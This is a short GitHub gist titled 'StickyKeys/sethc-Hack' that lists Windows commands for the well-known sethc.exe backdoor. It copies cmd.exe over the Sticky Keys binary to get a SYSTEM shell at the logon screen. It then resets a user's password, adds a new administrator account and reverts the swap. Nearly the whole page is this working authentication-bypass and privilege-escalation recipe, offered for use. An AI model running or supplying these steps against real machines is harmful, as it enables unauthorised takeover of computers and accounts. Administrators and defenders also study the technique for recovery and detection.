Created
May 1, 2021 14:42
-
-
Save JaekelEDV/50a0006341494b1d3ab86440531bc603 to your computer and use it in GitHub Desktop.
StickyKeys/sethc-Hack
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#StickyKeys/sethc-Hack | |
#Save sethc.exe to c:\ | |
copy c:\windows\system32\sethc.exe c:\ | |
#Replace sethc.exe with cmd.exe | |
copy /y c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe | |
#Reboot and on logon screen press SHIFT 5x -> cmd with SYSTEM-privileges | |
#Change password of existing user | |
net user <username> <New Password> | |
#Create new user | |
net user <username> <password> /add | |
#Add user to administrators group | |
net localgroup administrators <username> /add | |
#Revert the changes | |
copy /y c:\sethc.exe c:\windows\system32\sethc.exe |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment